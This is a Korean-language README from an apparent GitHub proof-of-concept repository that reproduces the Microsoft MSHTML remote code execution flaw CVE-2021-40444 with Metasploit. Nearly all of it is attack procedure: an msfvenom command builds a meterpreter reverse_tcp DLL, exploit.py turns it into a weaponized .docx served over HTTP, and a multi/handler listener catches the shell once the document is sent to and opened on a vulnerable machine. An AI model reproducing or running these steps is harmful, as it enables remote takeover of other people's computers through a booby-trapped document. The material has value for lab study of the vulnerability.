kagura-maru/cve-2021-40444-pocMicrosoft MSHTML 원격 코드 실행(RCE) 취약점 재현 및 Metasploit 프레임워크 사용 시도
Microsoft MSHTML 원격 코드 실행(RCE) 취약점을 Metasploit Framework를 사용하여 재현하려는 시도입니다.
FlareVM에서 실행하지 않을 때 가장 잘 작동합니다
https://github.com/lockedbyte/CVE-2021-40444 저장소를 Git 클론합니다.
msfvenom과 함께 사용할 .dll 템플릿을 준비합니다.
msfvenom -p windows/meterpreter/reverse_tcp lhost=<SOURCE_IP> lport=<LISTENING_PORT> -f dll -o template.dll
방금 생성한 template.dll을 저장소의 test/ 폴더로 복사합니다.
chmod +x template.dll로 template.dll에 실행 권한을 부여합니다.
스크립트를 실행하여 template.dll을 으로 처리합니다.
outputpython3 exploit.py generate ~/test/template.dll http://<SOURCE IP>문서는 out/ 폴더로 내보내지며, HTTP 포트(기본값은 80)에서 리스너를 설정할 수 있습니다.
python3 exploit.py host 80
Metasploit을 실행합니다:
msfconsole -q
use multi/handler
set payload windows/meterpreter/reverse_tcp
set lhost <SOURCE IP>
run
그런 다음 document.docx를 취약한 시스템에 보내고 .docx를 실행합니다.
exploit.py 터미널에서 응답을 받게 되며, 리버스 TCP 셸을 생성할 수 있으면 실험은 성공입니다.